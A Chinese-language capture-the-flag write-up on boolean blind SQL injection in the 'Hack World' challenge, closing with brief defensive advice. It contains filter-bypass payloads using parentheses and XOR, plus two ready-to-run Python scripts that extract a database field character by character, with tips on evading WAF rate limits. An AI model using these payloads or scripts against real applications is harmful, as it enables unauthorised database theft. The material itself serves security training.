1. 布尔盲注技术解析
布尔盲注是SQL注入攻击中的一种特殊形式,它不像常规注入那样可以直接获取数据库信息。当Web应用没有显示位且不返回详细错误信息时,攻击者只能通过页面返回的"真/假"状态来推断数据。这种技术就像蒙着眼睛玩猜谜游戏,需要通过系统的反馈一点点拼凑答案。
在Hack World这道题中,我们发现输入数字1和2会返回不同内容,而其他输入大多返回bool(false)。这种差异正是布尔盲注的理想场景。题目还给出了重要提示:"All You Want Is In Table 'flag' and the column is 'flag'",这直接告诉我们目标数据的位置。
2. 绕过过滤机制的实战技巧
这道题设置了严格的过滤机制,常规的注入手段几乎全部失效。通过Fuzz测试,我们发现以下字符被过滤:
- 空格、union、and、or等关键词
- 注释符如#、--
- 常见运算符如+、-、*
- 危险函数如load_file、outfile
但聪明的绕过方法依然存在:
- 空格替代方案:用括号包裹语句,如
(select(flag)from(flag)) - 逻辑运算替代:用异或运算符^代替or/and
- 函数组合:利用未被过滤的ascii()、substr()等函数
测试发现1^(条件)^1的构造特别有效,当条件为真时返回id=1的结果,为假时返回id=0的结果。这种技巧完美适应了题目的过滤规则。
3. 手工测试与Fuzz测试
在开始编写脚本前,手工测试必不可少。我通常会按照以下步骤进行:
- 基础探测:
1' # 测试引号过滤 1 and 1=1 # 测试逻辑运算符 1/1 # 测试数字型注入- 长度探测:
1^(length((select(flag)from(flag)))=42)^1- 字符探测:
1^(ascii(substr((select(flag)from(flag)),1,1))>100)^1Fuzz测试可以使用Burp Suite的Intruder模块,发送包含各种特殊字符和SQL关键词的请求,观察哪些被拦截。在本题中,发现Length=482的响应通常表示被过滤。
4. 自动化脚本开发
手工测试效率太低,我们需要编写自动化脚本。这里提供两种经典实现方式:
逐字符爆破脚本:
import requests import string url = 'http://target.com/index.php' flag = '' for i in range(1, 50): for c in string.printable: payload = f"1^(ascii(substr((select(flag)from(flag)),{i},1))={ord(c)})^1" r = requests.post(url, data={'id': payload}) if 'Hello' in r.text: flag += c print(flag) break二分法优化脚本:
import requests url = 'http://target.com/index.php' flag = '' for i in range(1, 43): low, high = 32, 127 while low <= high: mid = (low + high) // 2 payload = f"1^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})^1" r = requests.post(url, data={'id': payload}) if 'Hello' in r.text: low = mid + 1 else: high = mid - 1 flag += chr(low) print(flag)二分法效率更高,通常能在几十次请求内确定一个字符。注意要添加适当的延时,避免触发WAF的速率限制。
5. 关键技巧与踩坑记录
在实际解题过程中,有几个关键发现:
- 中括号妙用:
(select(flag)from(flag))这种写法完全避免了空格需求 - 异或运算:
^运算符未被过滤,是构造条件判断的利器 - 函数嵌套:ascii()和substr()的组合可以精准提取单个字符
- 速率控制:BUU平台会返回429状态码,需要添加time.sleep(0.5)
特别注意,当使用mid()函数时,部分MySQL版本需要三个参数:mid(flag,1,1)。而substr()在本题中表现更稳定。
6. 完整解题流程复盘
让我们总结完整的攻击链条:
- 确定注入点:通过id参数传递Payload
- 识别注入类型:数字型布尔盲注
- 绕过过滤:使用括号和特定函数构造语句
- 获取长度:通过二分法确定flag长度
- 逐位提取:从第一位开始逐个爆破字符
- 验证结果:检查返回内容是否包含"Hello"
最终获取到的flag格式通常为:flag{xxxx-xxxx-xxxx-xxxx}。整个过程可能需要发送数百次请求,耐心是关键。
7. 防御建议与总结
虽然这道题主要考察攻击技巧,但从防御角度也值得思考:
- 使用预编译语句是根本解决方案
- 最小权限原则:Web应用数据库账户不应有高权限
- 错误信息处理:避免泄露系统信息
- WAF规则:虽然过滤有帮助,但可能被绕过
布尔盲注考验的不仅是技术,更是耐心和细致。在真实环境中,这种攻击可能持续数天,通过自动化工具缓慢提取数据。作为防御方,需要建立完善的监控体系,及时发现异常请求模式。